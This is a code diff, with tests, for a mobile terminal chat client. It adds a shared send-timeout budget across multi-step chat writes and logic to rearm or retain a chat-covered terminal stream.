|
||||
it('opens a budget bounded by the send timeout', () => {
|
||||
const budget = openMobileNativeChatSendBudget() - Date.now()
|
||||
expect(budget).toBeGreaterThan(MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS - 1_000)
|
||||
expect(budget).toBeLessThanOrEqual(MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS)
|
||||
})
|
||||
})
|
||||
|
||||
@@ -14,6 +14,9 @@ type MobileNativeChatSendArgs = {
|
||||
text: string
|
||||
enter?: boolean
|
||||
mobileClient?: MobileTerminalClient
|
||||
/** Shared budget for a whole user action (heal → paste → text, or one selector's
|
||||
* keystroke sequence). Omit to give this write its own full budget. */
|
||||
deadline?: number
|
||||
}
|
||||
|
||||
/** 'unknown' = the RPC failed without proof the request never reached the
|
||||
@@ -21,16 +24,42 @@ type MobileNativeChatSendArgs = {
|
||||
* frame was written) — callers must not present it as a definite send failure. */
|
||||
export type MobileNativeChatSendOutcome = 'accepted' | 'rejected' | 'unknown'
|
||||
|
||||
/** Without an explicit timeout `sendRequest` waits for reconnect indefinitely, and
|
||||
* the composer holds `sending` (send arrow dimmed, no error) for as long as it
|
||||
* pends. Chat writes are interactive: fail them so the user can retry. */
|
||||
export const MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS = 15_000
|
||||
export const MOBILE_NATIVE_CHAT_MIN_WRITE_TIMEOUT_MS = 2_000
|
||||
|
||||
/** Opens a budget for one user action. Multi-write actions (heal → paste → text, a
|
||||
* paced selector answer) must share one so the composer's `sending` window stays
|
||||
* bounded by MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS instead of multiplying by it. */
|
||||
export function openMobileNativeChatSendBudget(): number {
|
||||
return Date.now() + MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS
|
||||
}
|
||||
|
||||
export async function sendMobileNativeChatMessageWithOutcome(
|
||||
args: MobileNativeChatSendArgs
|
||||
): Promise<MobileNativeChatSendOutcome> {
|
||||
const timeoutMs =
|
||||
args.deadline === undefined ? MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS : args.deadline - Date.now()
|
||||
// Starting an underfunded final write risks delivery followed by a false timeout.
|
||||
if (timeoutMs < MOBILE_NATIVE_CHAT_MIN_WRITE_TIMEOUT_MS) {
|
||||
return 'rejected'
|
||||
}
|
||||
try {
|
||||
const response = await args.client.sendRequest('terminal.send', {
|
||||
terminal: args.terminal,
|
||||
text: args.text,
|
||||
enter: args.enter ?? true,
|
||||
...(args.mobileClient ? { client: args.mobileClient } : {})
|
||||
})
|
||||
const response = await args.client.sendRequest(
|
||||
'terminal.send',
|
||||
{
|
||||
terminal: args.terminal,
|
||||
text: args.text,
|
||||
enter: args.enter ?? true,
|
||||
...(args.mobileClient ? { client: args.mobileClient } : {})
|
||||
},
|
||||
// The budget covers this whole write, reconnect wait included — a chat send
|
||||
// that spends its ceiling waiting to connect and then starts a fresh clock
|
||||
// pins the composer for twice as long.
|
||||
{ timeoutMs, budgetSpansConnect: true }
|
||||
)
|
||||
return isTerminalSendRpcAccepted(response) ? 'accepted' : 'rejected'
|
||||
} catch (error) {
|
||||
// Why: a logical relay↔direct cutover rejects the in-flight send without
|
||||
|
||||
@@ -41,6 +41,9 @@ export async function healMobileNativeChatStaleInput(args: {
|
||||
readonly client: Pick<RpcClient, 'sendRequest'>
|
||||
readonly terminal: string
|
||||
readonly deviceToken: string | null
|
||||
/** Budget shared with the write this heal precedes, so a hung clear can't spend a
|
||||
* full send timeout and leave the following write free to spend another. */
|
||||
readonly deadline?: number
|
||||
}): Promise<boolean> {
|
||||
if (!isMobileNativeChatInputStale(args.terminal)) {
|
||||
return true
|
||||
@@ -51,7 +54,8 @@ export async function healMobileNativeChatStaleInput(args: {
|
||||
client: args.client,
|
||||
terminal: args.terminal,
|
||||
deviceToken: args.deviceToken,
|
||||
imagePaths: []
|
||||
imagePaths: [],
|
||||
...(args.deadline === undefined ? {} : { deadline: args.deadline })
|
||||
})
|
||||
} catch {
|
||||
// Leave marked for the next attempt.
|
||||
|
||||
@@ -80,13 +80,26 @@ describe('mobile native-chat terminal stream lifecycle', () => {
|
||||
)
|
||||
})
|
||||
|
||||
it('rearms a covered stream that lost its subscription', () => {
|
||||
// The covered stream IS the input lease, and nothing else re-subscribes it —
|
||||
// losing it while chat is open must not leave the composer locked (#10681).
|
||||
expect(
|
||||
resolveMobileNativeChatTerminalStreamAction({
|
||||
...base,
|
||||
showNativeChat: true,
|
||||
streamActive: false,
|
||||
streamCovered: true
|
||||
})
|
||||
).toBe('rearm')
|
||||
})
|
||||
|
||||
it('does nothing for non-terminal tabs, missing handles, or settled states', () => {
|
||||
expect(resolveMobileNativeChatTerminalStreamAction(base)).toBe('none')
|
||||
expect(
|
||||
resolveMobileNativeChatTerminalStreamAction({
|
||||
...base,
|
||||
showNativeChat: true,
|
||||
streamActive: false,
|
||||
streamActive: true,
|
||||
streamCovered: true
|
||||
})
|
||||
).toBe('none')
|
||||
@@ -96,5 +109,13 @@ describe('mobile native-chat terminal stream lifecycle', () => {
|
||||
expect(resolveMobileNativeChatTerminalStreamAction({ ...base, activeHandle: null })).toBe(
|
||||
'none'
|
||||
)
|
||||
// Leaving chat with the WebView not yet ready must wait, not resume blind.
|
||||
expect(
|
||||
resolveMobileNativeChatTerminalStreamAction({
|
||||
...base,
|
||||
streamCovered: true,
|
||||
webViewReady: false
|
||||
})
|
||||
).toBe('none')
|
||||
})
|
||||
})
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
export type MobileNativeChatTerminalStreamAction = 'pause' | 'resume' | 'none'
|
||||
export type MobileNativeChatTerminalStreamAction = 'pause' | 'resume' | 'rearm' | 'none'
|
||||
|
||||
/** Decides whether the active mobile terminal stream should run while native chat
|
||||
* covers its WebView. Resume is allowed only once the mounted WebView is ready. */
|
||||
@@ -14,7 +14,13 @@ export function resolveMobileNativeChatTerminalStreamAction(args: {
|
||||
return 'none'
|
||||
}
|
||||
if (args.showNativeChat) {
|
||||
return !args.streamCovered ? 'pause' : 'none'
|
||||
if (!args.streamCovered) {
|
||||
return 'pause'
|
||||
}
|
||||
// Why: the covered stream IS the input lease. Anything that tore it down
|
||||
// (terminal.list churn, a client swap, an `end` frame) would otherwise leave
|
||||
// the composer locked forever — nothing else re-subscribes a covered handle.
|
||||
return args.streamActive ? 'none' : 'rearm'
|
||||
}
|
||||
return (args.streamCovered || !args.streamActive) && args.webViewReady ? 'resume' : 'none'
|
||||
}
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import {
|
||||
resolveRetainedTerminalHandles,
|
||||
shouldPruneTerminalHandle
|
||||
} from './mobile-terminal-prune-decision'
|
||||
|
||||
describe('shouldPruneTerminalHandle', () => {
|
||||
it('prunes a handle the list no longer reports while chat is closed', () => {
|
||||
expect(
|
||||
shouldPruneTerminalHandle({
|
||||
handle: 'term-1',
|
||||
liveHandles: new Set(['term-2']),
|
||||
showNativeChat: false,
|
||||
activeHandle: 'term-1'
|
||||
})
|
||||
).toBe(true)
|
||||
})
|
||||
|
||||
it('retains the chat-covered handle when the list omits it (#10681)', () => {
|
||||
// terminal.list drops every handle while the desktop graph reloads; the covered
|
||||
// stream is the input lease and nothing else re-subscribes it.
|
||||
expect(
|
||||
shouldPruneTerminalHandle({
|
||||
handle: 'term-1',
|
||||
liveHandles: new Set(),
|
||||
showNativeChat: true,
|
||||
activeHandle: 'term-1'
|
||||
})
|
||||
).toBe(false)
|
||||
})
|
||||
|
||||
it('still prunes an absent handle that chat is not covering', () => {
|
||||
expect(
|
||||
shouldPruneTerminalHandle({
|
||||
handle: 'term-1',
|
||||
liveHandles: new Set(['term-2']),
|
||||
showNativeChat: true,
|
||||
activeHandle: 'term-2'
|
||||
})
|
||||
).toBe(true)
|
||||
})
|
||||
|
||||
it('keeps a handle the list still reports, whatever chat is doing', () => {
|
||||
for (const showNativeChat of [true, false]) {
|
||||
expect(
|
||||
shouldPruneTerminalHandle({
|
||||
handle: 'term-1',
|
||||
liveHandles: new Set(['term-1']),
|
||||
showNativeChat,
|
||||
activeHandle: null
|
||||
})
|
||||
).toBe(false)
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
describe('resolveRetainedTerminalHandles', () => {
|
||||
it('carries the chat-covered handle so its live-input preference survives', () => {
|
||||
// Sweeping preferences against the raw list would erase the buffered-mode
|
||||
// opt-out on the very refresh the subscription was retained through.
|
||||
expect([
|
||||
...resolveRetainedTerminalHandles({
|
||||
liveHandles: new Set(['term-2']),
|
||||
showNativeChat: true,
|
||||
activeHandle: 'term-1'
|
||||
})
|
||||
]).toEqual(['term-2', 'term-1'])
|
||||
})
|
||||
|
||||
it('returns the list untouched when nothing is retained beyond it', () => {
|
||||
const liveHandles = new Set(['term-1'])
|
||||
expect(
|
||||
resolveRetainedTerminalHandles({
|
||||
liveHandles,
|
||||
showNativeChat: false,
|
||||
activeHandle: 'term-2'
|
||||
})
|
||||
).toBe(liveHandles)
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,64 @@
|
||||
/** Whether a known terminal handle should be dropped after a `terminal.list` refresh.
|
||||
*
|
||||
* A handle covered by native chat is retained even when the list omits it: the list
|
||||
* drops every handle while the desktop graph reloads (it re-mints handle ids), and
|
||||
* the covered stream IS the input lease — nothing else re-subscribes it, so dropping
|
||||
* it there locks the composer for good (#10681). A genuinely dead PTY still arrives
|
||||
* as an `end`/`error` stream frame, and the chat stream hook bounds its rearms —
|
||||
* a later list that reports the handle again refills that rearm budget, so an
|
||||
* exhausted rearm never locks the composer past the host's recovery. */
|
||||
export function shouldPruneTerminalHandle(args: {
|
||||
handle: string
|
||||
liveHandles: ReadonlySet<string>
|
||||
showNativeChat: boolean
|
||||
activeHandle: string | null
|
||||
}): boolean {
|
||||
if (args.liveHandles.has(args.handle)) {
|
||||
return false
|
||||
}
|
||||
return !(args.showNativeChat && args.handle === args.activeHandle)
|
||||
}
|
||||
|
||||
/** Binds one `terminal.list` refresh's context so callers can test many handles. */
|
||||
export function createTerminalPrunePredicate(context: {
|
||||
liveHandles: ReadonlySet<string>
|
||||
showNativeChat: boolean
|
||||
activeHandle: string | null
|
||||
}): (handle: string) => boolean {
|
||||
return (handle) => shouldPruneTerminalHandle({ handle, ...context })
|
||||
}
|
||||
|
||||
/** The handles this refresh treats as alive: everything the list reported, plus
|
||||
* whatever the chat retention keeps. Per-handle preferences must be swept with the
|
||||
* same set the subscriptions are, or the refresh that retains a covered handle
|
||||
* still erases its live-input opt-out. */
|
||||
export function resolveRetainedTerminalHandles(context: {
|
||||
liveHandles: ReadonlySet<string>
|
||||
showNativeChat: boolean
|
||||
activeHandle: string | null
|
||||
}): ReadonlySet<string> {
|
||||
const { activeHandle } = context
|
||||
if (!activeHandle || shouldPruneTerminalHandle({ handle: activeHandle, ...context })) {
|
||||
return context.liveHandles
|
||||
}
|
||||
return new Set(context.liveHandles).add(activeHandle)
|
||||
}
|
||||
|
||||
/** Drops per-handle keyboard metrics for pruned terminals, returning `previous`
|
||||
* untouched when nothing changed. Swept over the whole map rather than the handles
|
||||
* the caller just tore down: a handle retained for chat leaves the subscription map
|
||||
* without ever being revisited by that loop. */
|
||||
export function pruneTerminalKeyboardMetrics<T>(
|
||||
previous: Map<string, T>,
|
||||
shouldPrune: (handle: string) => boolean
|
||||
): Map<string, T> {
|
||||
let next: Map<string, T> | null = null
|
||||
for (const handle of previous.keys()) {
|
||||
if (!shouldPrune(handle)) {
|
||||
continue
|
||||
}
|
||||
next ??= new Map(previous)
|
||||
next.delete(handle)
|
||||
}
|
||||
return next ?? previous
|
||||
}
|
||||
@@ -164,6 +164,35 @@ describe('useMobileNativeChatAnswerSend', () => {
|
||||
])
|
||||
})
|
||||
|
||||
it('bounds a stepped answer with one shared budget, crediting back the pacing waits', async () => {
|
||||
const timeouts: number[] = []
|
||||
const sendRequest = vi.fn(async (_method: string, _params?: unknown, options?: unknown) => {
|
||||
timeouts.push((options as { timeoutMs: number }).timeoutMs)
|
||||
// A slow write must eat into what the rest of the answer has left.
|
||||
vi.advanceTimersByTime(6_000)
|
||||
return acceptedResponse()
|
||||
})
|
||||
await mount({ sendRequest } as unknown as RpcClient, vi.fn())
|
||||
|
||||
const prompt: AskPrompt = {
|
||||
questions: [
|
||||
{ question: 'q1', multiSelect: false, options: [{ label: 'A' }, { label: 'B' }] },
|
||||
{ question: 'q2', multiSelect: false, options: [{ label: 'C' }, { label: 'D' }] }
|
||||
]
|
||||
}
|
||||
let result: Promise<boolean> | undefined
|
||||
await act(async () => {
|
||||
result = answerSend?.answerAsk(prompt, [{ indices: [1] }, { indices: [0] }])
|
||||
})
|
||||
await act(async () => vi.advanceTimersByTimeAsync(MOBILE_NATIVE_CHAT_QUESTION_STEP_MS))
|
||||
await act(async () => vi.advanceTimersByTimeAsync(MOBILE_NATIVE_CHAT_QUESTION_STEP_MS))
|
||||
|
||||
await expect(result).resolves.toBe(true)
|
||||
// 15s total transport, minus 6s per completed write; the 1s pacing steps are
|
||||
// deliberate and are added back, so they never shrink the budget.
|
||||
expect(timeouts).toEqual([15_000, 9_000, 3_000])
|
||||
})
|
||||
|
||||
it('free text: opens "Type something", types the sanitized answer, then Enter', async () => {
|
||||
const sendRequest = vi.fn().mockResolvedValue(acceptedResponse())
|
||||
await mount({ sendRequest } as unknown as RpcClient, vi.fn())
|
||||
@@ -298,6 +327,34 @@ describe('useMobileNativeChatAnswerSend', () => {
|
||||
expect(onSendError).toHaveBeenCalledWith('Answer not sent')
|
||||
})
|
||||
|
||||
it('does not call a budget-truncated multi-question answer a definite non-send', async () => {
|
||||
const onSendError = vi.fn()
|
||||
const sendRequest = vi.fn(async () => {
|
||||
// A slow relay: the first group lands, then the shared budget is gone and the
|
||||
// next write short-circuits to 'rejected' without reaching the wire.
|
||||
vi.advanceTimersByTime(16_000)
|
||||
return acceptedResponse()
|
||||
})
|
||||
await mount({ sendRequest } as unknown as RpcClient, onSendError)
|
||||
|
||||
const prompt: AskPrompt = {
|
||||
questions: [
|
||||
{ question: 'q1', multiSelect: false, options: [{ label: 'A' }, { label: 'B' }] },
|
||||
{ question: 'q2', multiSelect: false, options: [{ label: 'C' }, { label: 'D' }] }
|
||||
]
|
||||
}
|
||||
let result: Promise<boolean> | undefined
|
||||
await act(async () => {
|
||||
result = answerSend?.answerAsk(prompt, [{ indices: [1] }, { indices: [0] }])
|
||||
})
|
||||
await act(async () => vi.runAllTimersAsync())
|
||||
|
||||
await expect(result).resolves.toBe(false)
|
||||
// The first group DID land, so the remote selector is half-stepped — telling the
|
||||
// user nothing was sent invites a retry on top of the advanced state.
|
||||
expect(onSendError).toHaveBeenCalledWith('Answer partly sent — check chat before retrying')
|
||||
})
|
||||
|
||||
it('reports an ambiguous write as unconfirmed instead of a definite failure', async () => {
|
||||
const onSendError = vi.fn()
|
||||
const sendRequest = vi
|
||||
|
||||
@@ -9,7 +9,10 @@ import {
|
||||
type AskAnswerSelection,
|
||||
type AskPrompt
|
||||
} from './mobile-native-chat-ask'
|
||||
import { sendMobileNativeChatMessageWithOutcome } from './mobile-native-chat-send'
|
||||
import {
|
||||
openMobileNativeChatSendBudget,
|
||||
sendMobileNativeChatMessageWithOutcome
|
||||
} from './mobile-native-chat-send'
|
||||
import { healMobileNativeChatStaleInput } from './mobile-native-chat-stale-input'
|
||||
import {
|
||||
resolveNativeChatTranscriptAgent,
|
||||
@@ -104,6 +107,12 @@ export function useMobileNativeChatAnswerSend(args: {
|
||||
cancelPending()
|
||||
const generation = generationRef.current
|
||||
let sawUnknownOutcome = false
|
||||
let sawAcceptedGroup = false
|
||||
// One budget for the whole answer instead of a fresh timeout per keystroke
|
||||
// group, which let an N-group selector hold the card for N × the send timeout.
|
||||
// It bounds transport time only: each deliberate pacing wait is credited back
|
||||
// below, so a long multi-question answer still gets a full budget to write in.
|
||||
let deadline = openMobileNativeChatSendBudget()
|
||||
const sendTerminal = async (body: string, enter: boolean): Promise<boolean> => {
|
||||
const activeRoute = activeRouteRef.current
|
||||
if (
|
||||
@@ -120,6 +129,7 @@ export function useMobileNativeChatAnswerSend(args: {
|
||||
terminal: handle,
|
||||
text: body,
|
||||
enter,
|
||||
deadline,
|
||||
...(deviceTokenRef.current
|
||||
? { mobileClient: { id: deviceTokenRef.current, type: 'mobile' } }
|
||||
: {})
|
||||
@@ -127,6 +137,9 @@ export function useMobileNativeChatAnswerSend(args: {
|
||||
if (outcome === 'unknown') {
|
||||
sawUnknownOutcome = true
|
||||
}
|
||||
if (outcome === 'accepted') {
|
||||
sawAcceptedGroup = true
|
||||
}
|
||||
return outcome === 'accepted'
|
||||
}
|
||||
const wait = (ms: number): Promise<boolean> =>
|
||||
@@ -144,11 +157,16 @@ export function useMobileNativeChatAnswerSend(args: {
|
||||
if (generationRef.current === generation) {
|
||||
// Why: keystrokes that may have landed (ack lost / path cutover) must
|
||||
// not read as a definite failure — a blind resend could double-step
|
||||
// the selector.
|
||||
// the selector. An earlier group that WAS accepted is the same hazard
|
||||
// in definite form: a multi-question answer whose shared budget ran out
|
||||
// mid-sequence left the remote selector half-stepped, and telling the
|
||||
// user nothing was sent invites a retry on top of the advanced state.
|
||||
onSendError(
|
||||
sawUnknownOutcome
|
||||
? 'Answer unconfirmed — check chat before retrying'
|
||||
: 'Answer not sent'
|
||||
sawAcceptedGroup
|
||||
? 'Answer partly sent — check chat before retrying'
|
||||
: sawUnknownOutcome
|
||||
? 'Answer unconfirmed — check chat before retrying'
|
||||
: 'Answer not sent'
|
||||
)
|
||||
}
|
||||
return false
|
||||
@@ -168,7 +186,8 @@ export function useMobileNativeChatAnswerSend(args: {
|
||||
!(await healMobileNativeChatStaleInput({
|
||||
client,
|
||||
terminal: handle,
|
||||
deviceToken: deviceTokenRef.current
|
||||
deviceToken: deviceTokenRef.current,
|
||||
deadline
|
||||
}))
|
||||
) {
|
||||
if (generationRef.current === generation) {
|
||||
@@ -194,8 +213,12 @@ export function useMobileNativeChatAnswerSend(args: {
|
||||
if (!(await sendTerminal(body, false))) {
|
||||
return fail()
|
||||
}
|
||||
if (index < groups.length - 1 && !(await wait(MOBILE_NATIVE_CHAT_QUESTION_STEP_MS))) {
|
||||
return false
|
||||
if (index < groups.length - 1) {
|
||||
if (!(await wait(MOBILE_NATIVE_CHAT_QUESTION_STEP_MS))) {
|
||||
return false
|
||||
}
|
||||
// Pacing is deliberate, not transport latency — don't charge it to the budget.
|
||||
deadline += MOBILE_NATIVE_CHAT_QUESTION_STEP_MS
|
||||
}
|
||||
}
|
||||
return groups.length > 0
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
import { useCallback, type MutableRefObject } from 'react'
|
||||
import type { RpcClient } from '../transport/rpc-client'
|
||||
import { sendMobileNativeChatMessageWithOutcome } from './mobile-native-chat-send'
|
||||
|
||||
/** Sends the Escape that dismisses an ask/question card. Its own module for the
|
||||
* same reason stop/permission/answer are: the controller owns composition, not
|
||||
* the per-action write semantics. */
|
||||
export function useMobileNativeChatCancelAsk(args: {
|
||||
client: RpcClient | null
|
||||
enabled: boolean
|
||||
handleRef: MutableRefObject<string | null>
|
||||
deviceTokenRef: MutableRefObject<string | null>
|
||||
/** Drops any in-flight paced answer writes before the Escape lands. */
|
||||
cancelPending: () => void
|
||||
onSendError: (message: string) => void
|
||||
}): () => Promise<boolean> {
|
||||
const { client, enabled, handleRef, deviceTokenRef, cancelPending, onSendError } = args
|
||||
return useCallback(async (): Promise<boolean> => {
|
||||
const handle = handleRef.current
|
||||
if (!client || !handle || !enabled) {
|
||||
onSendError('Cancel not sent (disconnected)')
|
||||
return false
|
||||
}
|
||||
cancelPending()
|
||||
// Escape never submits the composer, so no stale-input heal: it would consume
|
||||
// the marker still protecting the next real message.
|
||||
const outcome = await sendMobileNativeChatMessageWithOutcome({
|
||||
client,
|
||||
terminal: handle,
|
||||
text: String.fromCharCode(27),
|
||||
enter: false,
|
||||
...(deviceTokenRef.current
|
||||
? { mobileClient: { id: deviceTokenRef.current, type: 'mobile' } }
|
||||
: {})
|
||||
})
|
||||
if (outcome === 'unknown') {
|
||||
// Why: the Escape may have landed (ack lost / path cutover) — a definite
|
||||
// "not sent" would invite a second Escape into a changed prompt state.
|
||||
onSendError('Cancel unconfirmed — check chat before retrying')
|
||||
} else if (outcome === 'rejected') {
|
||||
onSendError('Cancel not sent')
|
||||
}
|
||||
return outcome === 'accepted'
|
||||
}, [cancelPending, client, deviceTokenRef, enabled, handleRef, onSendError])
|
||||
}
|
||||
@@ -2,6 +2,7 @@ import { createElement } from 'react'
|
||||
import { act, create, type ReactTestRenderer } from 'react-test-renderer'
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
import type { RpcClient } from '../transport/rpc-client'
|
||||
import type { ConnectionState } from '../transport/types'
|
||||
|
||||
const acceptSend = vi.fn()
|
||||
const captureSendOrigin = vi.fn()
|
||||
@@ -44,7 +45,10 @@ vi.mock('./use-mobile-native-chat-stop', () => ({
|
||||
vi.mock('./use-mobile-native-chat-file-search', () => ({
|
||||
useMobileNativeChatFileSearch: () => ({ nativeChatFilePaths: [], loadNativeChatFiles: vi.fn() })
|
||||
}))
|
||||
vi.mock('./mobile-native-chat-send', () => ({
|
||||
// Partial: the stale-input heal reaches the real transport through image-send,
|
||||
// which must read the REAL timeout constant, not a copy that can silently drift.
|
||||
vi.mock('./mobile-native-chat-send', async (importOriginal) => ({
|
||||
...(await importOriginal<typeof import('./mobile-native-chat-send')>()),
|
||||
sendMobileNativeChatMessageWithOutcome: vi.fn()
|
||||
}))
|
||||
|
||||
@@ -73,13 +77,15 @@ describe('useMobileNativeChatController handleNativeChatSend', () => {
|
||||
let renderer: ReactTestRenderer | null = null
|
||||
let controller: MobileNativeChatController | null = null
|
||||
const onSendError = vi.fn()
|
||||
const onSendResolved = vi.fn()
|
||||
// Only the stale-input heal reaches the transport directly (the message send
|
||||
// itself is mocked above).
|
||||
const clientStub = { sendRequest: vi.fn() }
|
||||
|
||||
function Harness(): null {
|
||||
function Harness({ connState = 'connected' }: { connState?: ConnectionState }): null {
|
||||
controller = useMobileNativeChatController({
|
||||
client: clientStub as unknown as RpcClient,
|
||||
connState,
|
||||
hostId: 'h',
|
||||
worktreeId: 'w',
|
||||
activeSessionTab: null,
|
||||
@@ -88,7 +94,8 @@ describe('useMobileNativeChatController handleNativeChatSend', () => {
|
||||
deviceTokenRef: { current: null },
|
||||
nativeChatTranscriptIsLocalReadable: true,
|
||||
nativeChatInputLeaseReady: true,
|
||||
onSendError
|
||||
onSendError,
|
||||
onSendResolved
|
||||
})
|
||||
return null
|
||||
}
|
||||
@@ -176,6 +183,23 @@ describe('useMobileNativeChatController handleNativeChatSend', () => {
|
||||
expect(isMobileNativeChatInputStale('term-1')).toBe(true)
|
||||
})
|
||||
|
||||
it('retires a held failure banner when a card action is accepted', async () => {
|
||||
// The banner is route-owned and outlives the write that raised it, so an accepted
|
||||
// answer or permission reply must clear it too — not just a composer send.
|
||||
sendWithOutcome.mockResolvedValue('accepted')
|
||||
await act(async () => {
|
||||
await controller!.handleNativeChatCancelAsk()
|
||||
})
|
||||
expect(onSendResolved).toHaveBeenCalled()
|
||||
|
||||
onSendResolved.mockClear()
|
||||
sendWithOutcome.mockResolvedValue('rejected')
|
||||
await act(async () => {
|
||||
await controller!.handleNativeChatCancelAsk()
|
||||
})
|
||||
expect(onSendResolved).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('threads the optimistic-echo image URIs into acceptSend on an accepted send', async () => {
|
||||
sendWithOutcome.mockResolvedValue('accepted')
|
||||
let accepted = false
|
||||
@@ -215,6 +239,23 @@ describe('useMobileNativeChatController handleNativeChatSend', () => {
|
||||
expect(holdUnconfirmedSend).toHaveBeenCalledWith(ORIGIN, 'look', expect.any(Function))
|
||||
})
|
||||
|
||||
it('fails a send fast while the socket is down, before spending the heal budget', async () => {
|
||||
// The lease collapses a render after connState, so a question-card answer could
|
||||
// otherwise sit in `sending` for the whole 15s heal+send budget.
|
||||
markMobileNativeChatInputStale('term-1')
|
||||
await act(async () => {
|
||||
renderer?.update(createElement(Harness, { connState: 'connecting' }))
|
||||
})
|
||||
let accepted = true
|
||||
await act(async () => {
|
||||
accepted = await controller!.handleNativeChatSend('answer')
|
||||
})
|
||||
expect(accepted).toBe(false)
|
||||
expect(clientStub.sendRequest).not.toHaveBeenCalled()
|
||||
expect(sendWithOutcome).not.toHaveBeenCalled()
|
||||
expect(onSendError).toHaveBeenCalledWith('Message not sent (disconnected)')
|
||||
})
|
||||
|
||||
it('reports a rejected send and posts no echo', async () => {
|
||||
sendWithOutcome.mockResolvedValue('rejected')
|
||||
let accepted = true
|
||||
|
||||
@@ -7,6 +7,7 @@ import {
|
||||
} from 'react'
|
||||
import { useMobileSessionViewMode } from './use-mobile-session-view-mode'
|
||||
import type { RpcClient } from '../transport/rpc-client'
|
||||
import type { ConnectionState } from '../transport/types'
|
||||
import {
|
||||
parseAskFromStatus,
|
||||
type AskAnswerSelection,
|
||||
@@ -17,11 +18,9 @@ import { detectAgentPermission } from './mobile-native-chat-permission'
|
||||
import { parseAgentQuestion } from './mobile-native-chat-question'
|
||||
import { openMobileNativeChatFile } from './mobile-native-chat-open-file'
|
||||
import { useMobileNativeChatPermissionSend } from './mobile-native-chat-permission-send'
|
||||
import {
|
||||
sendMobileNativeChatMessageWithOutcome,
|
||||
type MobileNativeChatSendOutcome
|
||||
} from './mobile-native-chat-send'
|
||||
import type { MobileNativeChatSendOutcome } from './mobile-native-chat-send'
|
||||
import { useMobileNativeChatAnswerSend } from './use-mobile-native-chat-answer-send'
|
||||
import { useMobileNativeChatCancelAsk } from './use-mobile-native-chat-cancel-ask'
|
||||
import {
|
||||
useMobileNativeChatDrafts,
|
||||
type MobileNativeChatPendingMessage
|
||||
@@ -31,6 +30,7 @@ import { useMobileNativeChatMessageSend } from './use-mobile-native-chat-message
|
||||
import { useMobileNativeChatSession } from './use-mobile-native-chat-session'
|
||||
import { useMobileNativeChatPrompts } from './use-mobile-native-chat-prompts'
|
||||
import { useMobileNativeChatStop } from './use-mobile-native-chat-stop'
|
||||
import { useNativeChatAcceptedAction } from './use-native-chat-action-outcomes'
|
||||
import { useThrottledLatestValue } from './use-throttled-latest-value'
|
||||
|
||||
const NATIVE_CHAT_STREAM_THROTTLE_MS = 50
|
||||
@@ -65,10 +65,13 @@ export type MobileNativeChatController = {
|
||||
handleNativeChatQuestionAnswer: (text: string) => Promise<boolean>
|
||||
handleNativeChatSend: (text: string, images?: string[]) => Promise<boolean>
|
||||
/** Outcome-preserving send: callers that pasted terminal input beforehand
|
||||
* (image sends) must see 'unknown' to heal a possibly-orphaned paste. */
|
||||
* (image sends) must see 'unknown' to heal a possibly-orphaned paste. Such a
|
||||
* caller passes its own `deadline` so the paste it already spent and this text
|
||||
* body share one budget instead of holding the composer for two. */
|
||||
handleNativeChatSendWithOutcome: (
|
||||
text: string,
|
||||
images?: string[]
|
||||
images?: string[],
|
||||
deadline?: number
|
||||
) => Promise<MobileNativeChatSendOutcome>
|
||||
}
|
||||
|
||||
@@ -84,7 +87,12 @@ export function useMobileNativeChatController(args: {
|
||||
deviceTokenRef: MutableRefObject<string | null>
|
||||
nativeChatTranscriptIsLocalReadable: boolean
|
||||
nativeChatInputLeaseReady: boolean
|
||||
/** Live socket state; the lease collapses on disconnect but one render later. */
|
||||
connState: ConnectionState
|
||||
onSendError: (message: string) => void
|
||||
/** Retires a held failure banner. Any accepted chat write clears it — a delivered
|
||||
* answer or permission reply must not sit under a stale "not sent". */
|
||||
onSendResolved: () => void
|
||||
}): MobileNativeChatController {
|
||||
const {
|
||||
client,
|
||||
@@ -96,7 +104,9 @@ export function useMobileNativeChatController(args: {
|
||||
deviceTokenRef,
|
||||
nativeChatTranscriptIsLocalReadable,
|
||||
nativeChatInputLeaseReady,
|
||||
onSendError
|
||||
connState,
|
||||
onSendError,
|
||||
onSendResolved
|
||||
} = args
|
||||
const { isTabChatView, toggleTabChatView } = useMobileSessionViewMode({ hostId, worktreeId })
|
||||
|
||||
@@ -169,10 +179,14 @@ export function useMobileNativeChatController(args: {
|
||||
[activeHandleRef, client, worktreeId]
|
||||
)
|
||||
|
||||
// Every chat write gates on both: the lease proves the input floor is ours, and
|
||||
// `connState` collapses a render before the lease does on disconnect.
|
||||
const inputSendable = nativeChatInputLeaseReady && connState === 'connected'
|
||||
|
||||
const { answerAsk: handleNativeChatAnswerAsk, cancelPending: cancelNativeChatAnswer } =
|
||||
useMobileNativeChatAnswerSend({
|
||||
client,
|
||||
enabled: nativeChatInputLeaseReady,
|
||||
enabled: inputSendable,
|
||||
handleRef: activeHandleRef,
|
||||
deviceTokenRef,
|
||||
agentRef: activeChatAgentRef,
|
||||
@@ -181,44 +195,18 @@ export function useMobileNativeChatController(args: {
|
||||
onSendError
|
||||
})
|
||||
|
||||
const handleNativeChatCancelAsk = useCallback(async (): Promise<boolean> => {
|
||||
const handle = activeHandleRef.current
|
||||
if (!client || !handle || !nativeChatInputLeaseReady) {
|
||||
onSendError('Cancel not sent (disconnected)')
|
||||
return false
|
||||
}
|
||||
cancelNativeChatAnswer()
|
||||
// Escape never submits the composer, so no stale-input heal: it would consume
|
||||
// the marker still protecting the next real message.
|
||||
const outcome = await sendMobileNativeChatMessageWithOutcome({
|
||||
client,
|
||||
terminal: handle,
|
||||
text: String.fromCharCode(27),
|
||||
enter: false,
|
||||
...(deviceTokenRef.current
|
||||
? { mobileClient: { id: deviceTokenRef.current, type: 'mobile' } }
|
||||
: {})
|
||||
})
|
||||
if (outcome === 'unknown') {
|
||||
// Why: the Escape may have landed (ack lost / path cutover) — a definite
|
||||
